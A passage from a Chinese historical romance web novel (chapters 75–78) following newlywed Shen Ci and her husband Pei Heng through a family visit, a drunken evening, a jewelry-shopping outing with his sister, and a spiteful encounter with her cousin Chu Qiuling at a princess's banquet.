沈瓷不明白这有什么好笑的,见楚映梦说起楚秋灵家事时那如数家珍的模样,忍不住蹙了蹙眉,“表姐,你成日里打听她做什么?也不嫌晦气,万一小侄儿听了心情不好怎么办?” 谁知楚映梦见她这一本正经的模样笑的愈发开心,差点儿把眼泪给笑出来。 到正院的时候都没停下来。 惹得裴氏都有些好奇,待听完来龙去脉也忍不住弯了弯唇,“阿瓷说的没错,成日里打听这些做什么?” 楚映梦挨了一顿说也不怎么在意,舒舒坦坦的躺在软榻上,裴氏也没理她,只问沈瓷好不好。 “…嗯。”沈瓷轻轻的点了头,因为有这一层亲戚关系在,沈瓷到底有些别扭,可她知晓舅母是出于关心,硬着头皮答道:“夫君他,待我很好。” “珩儿自幼稳重,我素来放心,可他若是待你不好,尽管回来告诉舅母。”裴氏拍了拍沈瓷的手,见她一切安好,也没有多问,知晓她们姊妹几个有体己话要说,找了个借口便离开了。 裴氏一走,姊妹三个就迫不及待的凑上来,楚映梦更是迫不及待的看着沈瓷,问她表哥对她可好。 一双双眼睛期待的看着她,似乎要她说出个一二三四五来,沈瓷多少有一些想躲。 “嗯…就是,就是…挺好的。”沈瓷翻来覆去也只能说出这些来,要让她说裴珩对自己多好多好,沈瓷多少还是有些说不出。 “怎么个好法?” 她不提,有的是人会问。 在几人的追问下,沈瓷也没太藏着,“夫君给了我许多地契,还有房契和银票。” 三人听得眼睛都亮了起来,沈瓷被她们看的多少有一些尴尬,偏偏楚映梦拉着她,顾忌表姐肚子里的孩子,她也不太敢动。 “我从前就知道表哥有钱,没想到表哥这么有钱。”楚映梦摸了摸下巴,眼中满是羡慕,“姝儿,你知道吗?” 裴姝摇头,她如何能知道兄长有多少的产业? “也不用羡慕,反正哥哥如今没什么银子。” “说的也是。”楚映梦回过神来,对表哥的羡慕也散了七八分,转而羡慕起沈瓷来。 “不成,还是要督促季衍好好的升官发财。”楚映梦下定决心,沈瓷有些纠结要不要提醒表姐,裴珩那些银子可不是升官发财来的,但说了之后她指不定又要被追问什么。 想了想,沈瓷还是觉得委屈表姐夫。 何况,升官发财也不是什么坏事,“姐姐说的是。” 屋内气氛极好,一室的欢声笑语。 沈瓷看着表姐的肚子,只觉得非常神奇,总忍不住的多看两眼,惹得楚映梦忍俊不禁,只当没瞧见她,也省的她不好意思。 众人说了会儿话,丫鬟过来告诉她们戏班子要开场,请姑娘们过去坐,楚思怡拉着裴姝走在前头,沈瓷便扶着楚映梦走在后头,不过几步路的功夫,楚映梦便和沈瓷说好,待府上事情忙完,便去将军府看她。 楚映梦心满意足,脚步都轻快了许多。 第75章 第75章“娘子,我头疼。” 回门宴办的热热闹闹,戏班子也是金陵有名的,楚映梦几个可不会彼此客气,争相点着自己喜欢的戏。 但姊妹间多少还有点情分在,楚映梦如今有了身孕,没人跟她抢,今日是沈瓷回门宴,也不好跟她抢。 等两人点完后,裴姝和楚思怡就没那么多的顾忌,两人争 了起来。 谁也不让谁。 沈瓷想要劝,楚映梦将她拦下,“随她们俩闹去,趁着她们吵架,阿瓷我们再点一出。” “姐姐怎么还欺负人呢。”沈瓷笑着劝她,“思怡这几个月因为姐姐有了身孕,可什么都不同你争。” 楚映梦怀孩子怀的有些累人,成日里就想着找些有趣事儿做,这会儿被沈瓷戳破,尴尬的咳嗽两声,“成成成,我不欺负她们了还不行吗?” 楚映梦被沈瓷劝下,后头那两个也终于吵完了,一人点了一出戏。 热热闹闹的好生快活。 傍晚时候,裴氏正安排人送楚映梦,就见门房匆匆进来,说是二姑爷来了,楚映梦还有些疑惑,直到人走到跟前她不禁笑了起来,“不是说今儿个没空吗?娘都在安排人送我了。” “不是什么大事,早些处理完就来接你了。”季衍回应着妻子的话,自然的同岳父岳母打过招呼。 今日人多,他们就是要许久也不急于一时。 寒暄了几句之后就带着楚映梦离开。 裴氏瞧见这一幕,心中自然觉得妥帖。 送别女儿之后,裴氏就拍着沈瓷的手不停的嘱咐她,沈瓷一一记在心中,也请舅母保重身子。 行至门外,永宁侯府的马车已经在外等候,侍从掀开车帘,沈瓷瞧见裴珩的身影,他今日饮了不少酒,如今有些头疼,见着妻子和妹妹,也没有多说话。 回到府上后,沈瓷扶着裴珩先行一步,裴姝看着兄嫂的背影,下意识的想和侍女吩咐什么。 话到嘴边却咽了回去,“我们回去。” 裴姝对着侍女道。 她原本是要去厨房吩咐厨娘准备醒酒茶的,从前都是她做的…一时不吩咐倒有些不习惯,但如今不是有了嫂子吗? 侍女跟着裴姝许多年,对一些事情也有了解,此番见自家姑娘要走,便提醒道,“姑娘,厨房那边…” “不妨事。”裴姝气定神闲的,“这不是有了少夫人么,我们当小姑子的就不要做些惹人嫌的事儿。” 裴姝随口胡诌,丫鬟听见这话不禁笑了起来,“姑娘说的哪里话,您怎么会是惹人嫌的小姑子?” 裴姝心里头跟明镜似得,从前嫂嫂没有过门,她来安排这些事倒也不出格,如今哥哥都已经娶妻,她做什么要去操心? 自然沈姐姐不是那些糊涂嫂嫂,不至于将醋吃到小姑子的身上。 要是沈姐姐忘了如何? 裴姝仔细的想了想,很快就找到了答案,若是沈姐姐忘记,那就哥哥自己受着呗,不过就是吃醉了酒,不喝醒酒汤又不如何。 顶多难受些而已。 想到这里,裴姝更是毫无心理负担的回了院子。 实则裴姝还真想见见那光景。 只是裴姝的愿望注定落了空,沈瓷到底想起要给裴珩准备醒酒茶,一回到院子就吩咐秋叶去准备。 沈瓷则扶着裴珩往内室走去,“夫君小心一些,脚下有台阶。” 裴珩其实只是喝多了几杯,也没到走不了路的地步,但沈瓷这举动显然以为他已经醉的不能自理,裴珩靠在沈瓷的肩上,一边觉着这样不大好,一边又不愿拒绝。 偏偏她还在安慰他,说很快就到,“我已经命人去准备醒酒茶,很快就会送过来,不会很难受的。” 裴珩其实有些好奇,沈瓷到底将他当成谁来哄了,但这并不妨碍裴世子因此而欣喜,他语气温和的应了声,“嗯。” 愈发心安理得起来。 但沈瓷眼中略过些许担忧,裴珩这心安理得的心思还没萌芽,就被他生生的掐灭,“我其实没事。” “就是多喝了几杯,有一些头晕。” 裴珩的酒量根本就不好,他本就不爱喝酒,只是今日的对象没有法子拒绝而已,沈瓷的父母已经不在,楚恒这个当二舅舅的,就自觉承担起了责任,盘问起裴珩来,和先前盘问季衍也没有什么分别。 裴珩应付同僚估摸着还能敷衍,但是面对姑父,拿出了十二分的认真,楚修筠和楚景澄也一直拉着他喝酒,这两人是个什么心思,裴珩大致也能猜得到,虽有些无奈弟弟们胳膊肘往外拐,倒也是理解他们不放心妹妹的心思。 裴世子觉得今日他可真是不容易,累了整整一日,他这会儿根本不想做什么,只想同沈瓷说话。 沈瓷催他洗漱,裴珩自己也受不住满身酒气,便去了净室,裴珩净了面,愈发嫌弃身上的酒味,忍了又忍,吩咐小厮备水,他要沐浴。 沈瓷听见动静,想着裴珩今晚喝了酒,他虽说自己喝的不多,但她到底担心,让小厮进去伺候。 小厮看着少夫人欲言又止,想说世子沐浴的时候根本不让人近身伺候,但又不好反驳少夫人的吩咐,没得让少夫人觉得他们底下奴才不服管教。 他低眉顺眼的往净室走去。 裴珩瞥了他一眼,小厮愣是一步都不敢往里走,很是识趣,“奴才告退。” 小厮走了一圈,退到外间去沈瓷跟前回话,“少夫人,世子将奴才给赶了出来。” 沈瓷挥了挥手让人退下,心说裴珩不要小厮伺候,难不成她要送个丫鬟进去?这念头不过想一想,她到底是有些不情愿的。 里头一直没什么动静,沈瓷有些担心,站在净室外头喊他,“夫君?” 裴珩没说话,沈瓷忍不住担心起来,“夫君,你可还好?” 沈瓷放心不下,又敲了敲门,“夫君,我能进来吗?” 裴珩只觉得有些事当真是考验自己,这要他怎么回答?说不行? 他自己都要觉得自己虚伪,索性当没听见,没有得到回应,沈瓷稍稍等了会儿,小心翼翼的推开了门走进去。 她告诉自己,她也不是想做什么,只是担心裴珩…净室里全是氤氲的水汽,让人有些看不清晰。 裴珩的身上连中衣都没有脱下,他轻阖双眼,单手撑着头颅靠在浴桶上,温水浸湿了他的长发…有些惑人心神的意味。 沈瓷本是不想看的,可这地方就那么大,瞧不见才奇怪。 “夫君?”沈瓷又喊了一声,裴珩依旧闭着眼睛,她见喊不应,便上手推了推,“夫君?” “…嗯。”裴珩的声音有些轻,他随意的应了声。 “你可还好?” “…无事。”裴珩揉了揉额头,眉间郁色很是明显。 “夫君若没事,我就先出去了…”沈瓷刚要走,就被裴珩拽住了手,他睁开眼眸看她,清明不再,带着些许欲色。 “娘子,我有些头疼。” 裴珩原本就头疼,倒也不算完全欺骗。 沈瓷直觉感到危险,下意识的想跑,“我去瞧瞧醒酒茶好了没。” 沈瓷觉得自己跑到里头来的行为实在是有些蠢,但裴珩这会儿如何会放开她,只是固执的看着她,“娘子,我头疼。” 他的动作有些大,带出了不少的水,弄湿了沈瓷的衣裙。 沈瓷顺着裴珩的视线看过去,只觉得眼前一黑… 裴珩随意撩起水,淡淡道,“水温尚可。” 沈瓷:“……” 她又不想沐浴,只是拒绝的话还没说出口,一切就变得不一样起来。 视线天旋地转,她整个人都跌落在他怀中,身上衣裙湿的透透的。 之后的事情仿佛就变得顺理成章起来,沈瓷也不知为何那个明明说头疼的人,为何还能生龙活虎的折腾她,明明这不是什么很好的地方… 明明…明明昨日才… 他掐着她的腰,明明不是很用力,可她就是无法挣脱,那浴桶并不大,空间有限,水撒了一地,沈瓷有些不忍直视。 她忽然想着,若是这浴桶承载不了两人的重量… 思及此,沈瓷立刻要去推他,裴珩却将人紧紧搂在怀中,手指抚上她的唇瓣,有些不满,“阿瓷,你不专心。” 沈瓷心说自己要怎么专心?这要是压坏了…传扬出去,她之后也没法活了。 她心里有些慌,对着裴珩小声说话,“会,会不会坏?” 沈瓷说的没头没尾,幸而裴世子聪明过人,明白她此话何意,眼中染上点点笑意,他温柔的吻上她的唇,呢喃道:“夫人放心。” 怎能出这种让人难堪的事? 裴珩话说的漂亮,但沈瓷如何放心,整个人提心吊胆,裴珩不想这般恶劣,有些事却是顺势而为… 里头的声音断断续续的,她泄愤似得咬着裴珩的肩,却不知这一举动更是将人刺激的彻底。 净室里撒了一地的水,沈瓷被裴珩抱出去的时候,都不愿多看第二 眼。 一会儿来收拾的丫鬟婆子,到底要怎么想她? * 待二人收拾好已是子时,沈瓷的头发湿漉漉的,换好衣裳之后,她拿着帕子擦头发,裴珩上手接过,沈瓷压根不想搭理他,偏偏她还没学会怎么拒绝丈夫,这一愣神的功夫。 手上帕子被裴珩夺了去,一点点给她擦拭头发。 醒酒茶早已经熬好,在外间搁着,方才动静不小,丫鬟婆子们自然听得见,秋叶便将醒酒茶搁在外间炉子里温着。 沈瓷已经不愿去想那些事,但她还记挂着醒酒茶,“夫君,醒酒茶送来了。” 今儿这事,不就是醒酒茶闹出来的。 裴珩本就不爱喝那东西,这会儿酒已经醒了大半,有些不太情愿,“不喝。” 那味道并不好闻。 沈瓷一个劲的劝他,“喝了之后不难受呢。” “你方才不是还说头疼?” 他若这会儿说实话,沈瓷会不会很生气? “你方才还说头很疼很疼。” 这话说得,一般还真的没法接,“现在不难受。” “现在不难受,明儿个头疼怎么办?”沈瓷也不知是不是故意的,说话也有些阴阳怪气的,“谁知等等又会不会头疼,你头疼也不分地方。” 裴珩:“……” 见裴珩不说话,沈瓷的声音有一些低落,“明日要去给婆婆请安,她若是问起,我要怎么回话?” “你知道的,我不擅长说谎。” 沈瓷说的就和真的一样,裴珩明知她是故意这般说的,也没有法子,“让人端进来,我喝。” 裴珩知晓今日闹她闹得有些过分,也没得在这事上同她争执,今日这醒酒茶,怕是不喝也得喝。 第76章 第76章听你沈姐姐的。 裴珩将端进来的醒酒茶尽数喝完,甚至都不用沈瓷催促。 沈瓷见他将醒酒茶喝了,也放心不少,“夫君早些歇息。” 裴珩却不想动,黏黏糊糊的抱着她不放手,“今日修筠和景澄同我说了不少的话,让我不要欺负你。” 这话让沈瓷忍不住的侧目,不要欺负她? 那净室里的那些水渍究竟是怎么回事?这个人不是见天的在欺负他吗? “舅舅也是如此。”裴珩这舅舅两个字喊得如此顺口,沈瓷又忍不住的看向他,“夫君怎么喊起舅舅来了?” 虽说是二表哥开了先例,让他们各喊各的。 但长辈之间这称呼早已经习惯,也没有人会来计较这些,裴珩冷不丁喊一声舅舅,不仅她听了奇怪,只怕舅舅还要觉得奇怪。 “今日听得多了些,一时没有注意。”裴珩解释了两句。 其实长辈们不会介意什么,大家原本就是姻亲关系,照着姑父对沈瓷的在意,听到他喊“舅舅”指不定还会觉得很新鲜,说不定还更高兴。 但他见沈瓷在意便没有多提。 “那舅舅他们还说了什么?”沈瓷有些好奇的问道。 “多是让我好好照顾你,不要欺负你。”裴珩将今日这些话全部都复述出来,舅舅和兄长能说的,也只有这些。 再多的也不好说什么。 倒是姑母,还特意的嘱咐了他不少话。 裴珩原本是想向姑母打听沈瓷的喜好,但到底没有这么做,沈瓷已经和他成亲,想知道什么不能自己问?不能自己发现? 旁人哪儿得来的经验,到底只是经验。 沈瓷听罢,默默的点了头,她上眼皮和下眼皮就快要黏糊在一起,裴珩见状也没有多言,道一旁灭了烛火。 等到他转身回来,沈瓷已经睡着了,她睡得香甜,给他留出了一半的床铺。 这对裴珩而言还是一种很新奇的体验,裴珩掀开锦被躺在了一侧,九月的天已经有了些冷,沈瓷睡之前还规规矩矩的,可睡着之后就没有那么多的顾虑,一直往裴珩身边靠。 裴珩自然能够感受的到。 昏暗中,裴珩的唇角微微翘起,他伸出手将沈瓷整个儿圈在怀中,安稳的闭上了眼睛。 不过成亲几日,他就已经习惯和沈瓷同塌而眠,他很是好奇从前是怎么过来的。 只是这问题到底没能得到什么答案,裴珩搂着沈瓷也沉沉的睡了过去。 他因为先前差事办的漂亮得了不少赏赐,成亲之后这休假也比旁人多不少,这天沈瓷和裴珩一道去正院请安,裴珩难得闲赋家中,永宁候夫人看的新鲜,便留小夫妻一块儿用膳。 沈瓷要站起来伺候婆婆,永宁候夫人并不是什么喜欢做规矩的恶婆婆,见状让她坐下,“有些事是做给外人看的,一家人吃饭,不用如此。” 沈瓷听明白了,也没有推辞什么,乖顺的坐在裴珩的身边。 永宁候夫人心中很是满意,怪不得小姑子总说沈瓷聪明伶俐,本以为是什么客套话,如今看来半点都没错。 若沈瓷扭扭捏捏的,她反倒是不大乐意。 不多时裴姝也过来了,她恭敬的给母亲请安,瞧见裴珩和沈瓷之后眼睛都亮了不少,“哥哥嫂嫂也在。” “正好你们俩都在,我还有事要同你们说。”永宁候夫人说起了公主府送来的帖子,“这赏花宴推脱不得,阿瓷,你同姝儿一块走一趟。” 公主府的赏花宴推脱不得,婆婆这话的意思沈瓷也听得很明白,心中多少有一些忐忑起来,倒不是她没去过,只是从前都是和舅母一起去的,如今换了身份,她一时间有些不适应。 “娘可知道宴会都请了谁?那承宁伯府的世子夫人去不去?”裴姝好奇的问道。 永宁候夫人略略思索一番,“承宁伯府也在受邀之列,但这承宁伯的世子夫人会不会去,就是个未知数。” 楚秋灵闹出不少的事情,承宁伯夫人对待这个儿媳妇也没个好脸色,这桩婚事到底满意与否,也唯有她自己清楚。 “好端端的怎么问起她来了?” “不太愿意同她打交道。”裴姝想起楚秋灵的所作所为,就忍不住的皱眉头。 永宁候夫人没说话,裴珩倒是开了口,“你难不成还怕她?” “我自然是不怕她的,只是同这样的人打交道多麻烦。”裴姝不大愿意理睬楚秋灵,谁让楚秋灵总爱找沈瓷的麻烦。 哥哥和嫂嫂定亲之后,也没少去参加金陵的宴会,每回遇到楚秋灵,两人都能吵起来,确切来说是楚秋灵单方面的来找麻烦。 每回都被嫂嫂给讽刺回去,但这样的事情多了,任谁都不乐意。 “她应当不会去,便是去,你不搭理就是。”永宁候夫人没将这人放在心上,照她来看,要么就是承宁伯夫人下决心好好管教儿媳妇,若不然可就有的受了。 一块儿用完早膳,三人便告辞了,永宁候夫人还有不少事情要忙碌,她看了一会儿账本,才停下歇了歇,侍女上前来奉茶,没忍住劝了两句,“夫人怎么不将少夫人留下?少夫人聪明伶俐一定很快就能上手,您也可以多歇歇。” “他们才成亲,哪里就要这么着急?”永宁候夫人嗔道,“早几日和晚几日又有什么区别?何况我不心疼,你们家世子也是要心疼的。” 这话说的屋子里伺候的人都笑了起来,方才那情形他们也看的明白,世子时不时的给少夫人夹了不少的水晶包子,直到少夫人动作慢下来才停止。 “几个伺候的丫头和小子们都说世子和少夫人 感情好,想来夫人不久,就能抱上孙儿了。” “若真如此当然是极好。”永宁候夫人自然也希望能早些抱孙子,但她还是吩咐底下的人不要胡乱说什么,“才成亲,哪能那么快就有孩子?不要给她压力。” 侍女连忙应声,“奴婢会注意的。” * 离开正院之后,裴珩自然而然的要带沈瓷回去,结果出来了裴姝这么个拦路虎,“嫂嫂,我们出门逛逛可好?昨儿个不是说要去买簪子?” “过几日要去公主府赴宴,总不好戴些旧的首饰去。” 裴姝说的全都是实话,裴珩也不至于不给妻子和妹妹买首饰,微微颔首道,“去换出门的衣裳。” 裴世子半句废话都没有,牵着沈瓷的手就往回走,裴姝在他走后忍不住的去和自己的丫鬟咬耳朵,“哥哥他刚才说什么?让我去换出门的衣裳?他这是答应了还是没答应?” 丫鬟也不太清楚,试探的开口,“应当是答应的吧?” 毕竟世子这脾气,要是没答应,就直接拒绝了。 裴姝一想也的确是那么回事,“过几日的宴会沈姐姐也是要去的,哥哥总不至于不顾这些。” 那些首饰也不是白买的,她那些添头,也不是白收的。 丫鬟看着自家姑娘,小心的开口提醒,“姑娘,少夫人和世子已经成亲,您总是偷摸着喊沈姐姐,是不是不大好?” 丫鬟也不知自家姑娘是不是被忠毅伯府的二公子给影响的,人前喊嫂嫂,人后就是沈姐姐。 二公子虽然不大靠谱,但这各论各的也是没法子的事儿。 只不过… 这和他们姑娘有什么关系? 这般偷摸的喊着沈姐姐,就不担心哪一天嘴瓢了,被世子给听见吗? 丫鬟很是担心,忐忑的说了出来,但裴姝一点也不担心,她可相信自己了,她怎会犯这样的错? 殊不知有些事儿是根本禁不住念叨的,她回屋换好了衣裳,高高兴兴的等着沈瓷,见着人来之后就跑了过去,“沈姐姐,我们走吧。” 话音刚落,她就看见了一道熟悉的身影落于沈瓷的身后,“你方才喊了什么?” 裴姝:“……” 这个人是从什么地方冒出来的? “大,大哥。”裴姝被吓得一个激灵,下意识的往沈瓷身边窜去,躲在了沈瓷的身边,“嫂嫂。” 裴珩将裴姝的举动看的清清楚楚,又问了一句,“方才喊了什么?” 裴姝哆哆嗦嗦的不敢说话,注意到裴珩也换了衣裳傻愣愣的问道,“大哥也要跟我们一起去吗?” “嗯。”裴珩淡淡的瞥了她一眼,“陪你沈姐姐一道去。” “…哥哥,我错了。”裴姝认错的极快,对着沈瓷喊了好多声嫂嫂,裴珩有没有舒坦沈瓷不大清楚,但沈瓷已经听得耳朵都嗡嗡的响。 “姝儿,我们还是先出门吧。”沈瓷摁了摁额头,无奈的说道。 裴姝惹了祸,一时间也不敢多话,怯生生的看向裴珩,裴珩轻嗤一声,“听你沈姐姐的。” 裴姝这会儿一句话都不敢说,“哥哥…” “怎么不喊姐夫?”裴珩认真问道,裴姝差点儿要被问哭。 他说话阴阳怪气,沈瓷看了看裴珩,又看了看裴姝,一手牵了一个,将人给带了出去。 身后丫鬟小厮看的叹为观止,纷纷感慨不已,少夫人可真是厉害。 * 三人坐在马车上,裴姝宛如一个鹌鹑。 裴珩坐在沈瓷的身边,淡漠的看向窗外。 裴姝可怜巴巴的看着沈瓷,小声道,“嫂嫂,你帮一帮我。” 沈瓷忍不住的想笑,马车里的气氛有些压抑,一直到了珍宝斋裴姝才松了一口气沈瓷拍了拍裴姝的手,示意她先下去,裴姝忙不迭的下了马车。 沈瓷却没有下车,轻轻的扯了扯他的衣袖,“夫君不要计较了可好?” “姝儿还小。” 裴珩心说她哪里还小?分明就是故意的,也不知跟谁学的。 裴珩从前自然不是那么幼稚的人,只是听到沈姐姐那三个字,态度就变得有些莫名起来,若非沈瓷在,裴珩觉得今儿个应该让裴姝好好的抄书才对。 裴珩原本就没怎么生气,如今面对沈瓷,更是没了脾气,她明明什么都没说,不过是扯了扯他的衣袖,说了两句软话而已。 他就不计较了? “…嗯。”裴珩妥协下来,“不会和她计较。” 沈瓷得到答复之后,眼睛变得亮亮的,裴珩刚想说什么,就见沈瓷高高兴兴的下了马车。 裴珩:“……” 倒也不用这么迅速,好歹再哄他几句? 第77章 第77章像是故意激怒她的 沈瓷毫不犹豫下了马车,裴珩虽想说些什么,却没有半点机会。 裴珩想了想,还是跟随沈瓷一块儿走进了珍宝斋,这地方并非头一回来,掌柜的自然也认得出人。 那热热闹闹的婚礼不过前几日的事情,现在还被人津津乐道,沈瓷和裴珩一出现,就吸引了不少人的视线。 “裴世子,世子夫人,裴姑娘。”掌柜的热情打着招呼,裴珩微微颔首,裴姝一言不发,显然还是在心虚。 沈瓷看的有些无奈,主动问道,“姝儿想要买些什么?” “掌柜的这里有什么漂亮的?”裴姝说的很小声,生怕大点声就要惹得哥哥心烦,她腻歪在沈瓷的身边,坚决不去看裴珩一眼。 而裴珩因为她那举动,眼神愈发的不善起来,成日里黏着他的妻子做什么? 裴珩到底有分寸,并未表现的太明显,裴姝也是如此。 姑嫂两人看着首饰,裴珩则坐在一旁喝茶,时不时的有人进来,瞧见这一幕时总忍不住偷偷的看上一眼。 这样的眼神并不少见,裴珩早已经习惯,并没有太放在心上。 裴姝看的清清楚楚的,凑过去瞅了瞅沈瓷,“嫂嫂,哥哥身边好多人。” 沈瓷下意识的抬眸看去,“夫君身边一向是那么多人的。” 这并不是什么稀奇事。 从前也是如此。 裴姝想说的明显不是这回事,“可是她们看哥哥的眼神不太一样。” “嘘。”沈瓷示意裴姝不要太大声,“大抵是觉得夫君长得好看,多看两眼。” 沈瓷没当回事,裴姝瞅了两眼也收回那些心思,乖乖的坐在沈瓷身边。 “这个可喜欢?”沈瓷拿起一支簪子在裴姝的头上比划,“和你前些日子新做的衣裳很般配。” 裴姝所有的心思全都被吸引过去,“好看。” 沈瓷将簪子放在了一边,显然就是看上了的意思。 周围还有不少的人,闻言也忍不住的凑了过去。 别说,还真挺好看的,她们方才也瞧过,怎么就没发现? 沈瓷另外又挑了不少,里头五花八门什么都有,而且也不全是她们姑嫂两人的。 表姐和思怡的没落下,舅母和婆婆的也有。 挑的可不少,偏偏沈瓷眼光极好,选出来的东西精致又漂亮,混在里头的时候还真没觉得,这会儿就像是见到沧海遗珠一般。 一个个看的眼热。 偏偏裴姝还在火上浇油,“嫂嫂你眼光真好,这簪子方才混在里头,我都没瞧见。” 店内众人:“……” 倒也不必说的那么大声,她们已经知道了不是吗? 姑嫂俩选了多久,裴珩就在一旁陪了多久,还能顺势的提一点儿意见,“这颜色有些太艳,方才那支更合适些,适合春天。” “这个适合你昨日穿的那条裙子。” 裴世子给建议不同于一般人直接否决,他提出反对意见还能给出个更好的意见。 故而沈瓷被反驳也不见生气,周围的几人待也不是,不待也不是。总觉得待在这儿,整个人都特别难受。 她们痛定思痛,还是决定离开。 一走出珍宝斋的大门,就忍不住的凑在一起窃窃私语,她们真的是没想到,裴世子竟是这般的,她们从前怎么不知道? 若从前就知晓… 一个个咬着手帕,后悔不已。 * 转眼到了去公主府赴宴的那一日,楚映梦有了身孕不好出门,先不说不方便,就是宴会上的东西也不好随便乱吃。 还不如不去。 这次永宁侯夫人不去,让沈瓷带着裴姝一同前往,忠毅伯府那边,裴氏也不大想去,沈瓷和裴姝便套了车去接楚思怡。 故而三人来晚了些。 沈瓷原本不显山不露水的,谁也没想到她竟一朝成了永宁侯府的世子夫人,定亲的时候就惹人注目,沈瓷那亲事一波三折,谁也没想过她竟真的能和裴珩成亲。 从前沈姑娘, 现在可是世子夫人。 这可是沈瓷和裴珩成亲之后,头一回露面。 即便有人不情不愿,可还得承认沈瓷身份,笑意盈盈的过来打招呼。 种种虚情假意的寒暄,瞧着很是热闹。 楚思怡和裴姝在一旁站着,心里忍不住翻了好几个白眼,先前怎么不觉得她们这么热情呢? 之前不是还在说三道四,说表姐和表哥指不定也会退亲吗? 裴姝和楚思怡两人一样的态度,但二人都有分寸,什么多余的话都没说。 沈瓷面对众人的寒暄,含笑应对。 原本和她搭话的那些姑娘还在犹豫,见沈瓷这般平和,也渐渐的松了一口气,开始攀谈起来。 “表姐可真是能耐,这么多人,我瞧着都觉得头疼。”楚思怡忍不住的抱怨两句。 裴姝与有荣焉的笑,“嫂嫂当然厉害了,你不知道哥哥在嫂嫂的面前,那是一点脾气都没有的。” 楚思怡听见这话有些好奇的问道,“你怎么不偷摸喊沈姐姐了?” 裴姝:“……” 她还是想要命的。 哪里还敢偷摸的喊? “你不知道,哥哥最近可生气了。”裴姝将这些日子发生的事情全部都告诉了楚思怡,原本是想找个人说说话,谁知楚思怡听罢,笑的不行。 笑的裴姝都没了脾气,“笑够了没?” “你这好端端的是怎么了?”楚思怡忍不住的问道,“你是被二哥给传染了吗?” 裴姝:“……” 这话说得,她到底要怎么接? 原本她感觉尚可,如今被他们这么翻来覆去的调侃,裴姝只觉得自己做的事儿,蠢透了。 姊妹俩嘻嘻哈哈的笑闹着,旁人也无法参与其中。 何况今日的主角也不是她们俩,一堆人都围着沈瓷说话。 一声一声的世子夫人,听得沈瓷多少有些不太习惯,可她牢牢记住自己的身份,也记得自己今日代表的是谁。 端着得体的笑容,回应着她们的话。 气氛瞧着还挺好的。 但总有人会来破坏,丫鬟领着出楚秋灵过来时,所有的欢声笑语戛然而止,怔怔的看向她。 像是没有料到,楚秋灵会出现。 所有人都疑惑的看过去,眼神中带着疑惑。 楚秋灵全当看不见,施施然走到沈瓷面前,“妹妹成了亲果然不一样。” 沈瓷缓缓抬眸,看向楚秋灵,“大表姐。” “姐妹们再聊什么呢?说与我听听,我也想热闹热闹。”楚秋灵毫不犹豫的横插进来,几人碍于她夫家的地位也不敢多言什么。 只能陪着笑说话。 原本也能相安无事,偏偏楚秋灵今天像是来找麻烦的,自顾自的和沈瓷说话,众人瞧出不对,立刻纷纷告辞,将这地儿留给了她们几个。 即便她们也想要看热闹,但人还是贵有自知之明的,有些热闹是没有法子凑得。 等人群散了之后,楚秋灵愈发的没有顾及,“妹妹今日一个人来的?” “不是说裴世子近日休沐,今儿个宴会怎么没有陪着妹妹一道儿来?” 沈瓷皱了皱眉头,她难道就没瞧见裴姝和思怡吗?好端端的扯上裴珩做什么? 楚思怡和裴姝站在一旁,二人凑在一起小声说话。 “承宁伯夫人怎么把她给放出来了?” “谁知道呢。” 楚秋灵也不知听没听见,总之脸色变得愈发差了,但她没搭理另外两个,一个劲的看向沈瓷。 她无论说什么都要扯到裴珩的身上,惹得沈瓷愈发疑惑,可沈瓷并未觉得楚秋灵是特意打听裴珩,毕竟楚大姑娘很看不上裴世子,觉得裴珩和沈瓷在一起,是自甘堕落。 “大表姐找我夫君,有事吗?” “我不就是关心你?”楚秋灵满脸的认真,上上下下的打量了沈瓷一番,“不像你…” 她像是有许多的未尽之言。 “妹妹啊,你进了永宁侯府的门,可你那婆婆知道你们婚前私相授受吗?” 这件事情当初就已经掰扯清楚,楚秋灵还因此在佛堂前跪了许久,但此事一直都是她心里的一根刺,从前就有着诸多不耐,如今她们成亲,楚秋灵的心中就愈发烦躁,有事没事就要来找沈瓷的麻烦,随口说两句话给她添堵也是好的。 “那你就去外头告发我吧。” “你以为我真的不敢吗?你之前做的什么事,不要以为没有人知道。” 楚秋灵一副有恃无恐的模样,像是抓住了沈瓷什么把柄一般。 沈瓷实在是懒得搭理她,全然不知楚秋灵成日在自己面前说这些不知所谓的,到底有什么意思? “大表姐若是这般有空,倒不如多读点书。”沈瓷冷漠开口。 “你这话什么意思?” “果真需要多读些书,不然都不知我在说些什么。” 楚秋灵:“?” “你在嘲笑我?” 沈瓷心说这难道是什么很难想明白的事情吗? “大表姐说的哪里话。”沈瓷随口敷衍,楚思怡则心直口快许多。 “你还需要我们来嘲笑?” 她心说整个金陵的人都在嘲笑你,难道你一点儿也不清楚吗? 楚秋灵气呼呼的瞪着她,口不择言的说起沈瓷克父克母,楚思怡瞪大了眼睛,就连裴姝也是一脸的愕然。 “你胡说八道什么东西?” 人人都知道沈毅夫妻俩是因为海难身故的,谁也不会将这件事情算到沈瓷的头上,楚思怡反应过来后就要冲上去和楚秋灵理论。 沈瓷一把将人抓住,脸色冷漠的可怕,“思怡,我们走。” “什么?”楚思怡愣愣的看向沈瓷,没想到表姐会这么说,“表姐你没听见她刚才说什么吗?我要撕了她的嘴。” “不用去理会。”沈瓷未必有她自己表现出来的那么冷静,但她必须要冷静,今天的宴会很要紧,而且今日的楚秋灵也很奇怪。 往常被她讽刺,只怕早就气恼的要离开,今日都气成这个样子了,竟然还没走? 事出反常必有妖,像是在故意的激怒她。 沈瓷依旧没有搭理,带着裴姝和楚思怡快速离开,楚秋灵的声音明显着急起来,“沈瓷,你是怕了吗?” 这时候就连思怡和裴姝都能够感受到疑惑。 楚思怡疑惑的问道,“她又发什么疯?” “像是在打什么鬼主意。” 二人你一言我一语的说话,沈瓷一直安静的思索着,告诉她们俩离楚秋灵远一些。 第78章 第78章“嗯,我来接你回去。”…… 沈瓷虽不知楚秋灵目的,但直觉此人许是要故意使坏,带着楚思怡和裴姝避开。 楚思怡依旧不忿,气呼呼的在一旁抱怨,“她好端端的跑出来做什么?故意给人添堵来的吗?” “承宁伯夫人为何会让她出来?” 二人你一言我一语的谈论着,沈瓷安静的听着,愈发觉得疑惑。 承宁伯夫人并不满意楚秋灵当儿媳,只是当初不好退婚,且承宁伯世子不介意娶的人是谁… 承宁伯世子婚后就离开了金陵,留下楚秋灵一个在金陵作天作地,承宁伯夫人一向不怎么允许她出门。 只有零星几个宴会才准允。 今日公主府设宴,这般要紧的宴会,楚秋灵能出来定然是承宁伯夫人首肯的。 她为何会答应?不怕楚秋灵毁了这宴会吗? 不担心这 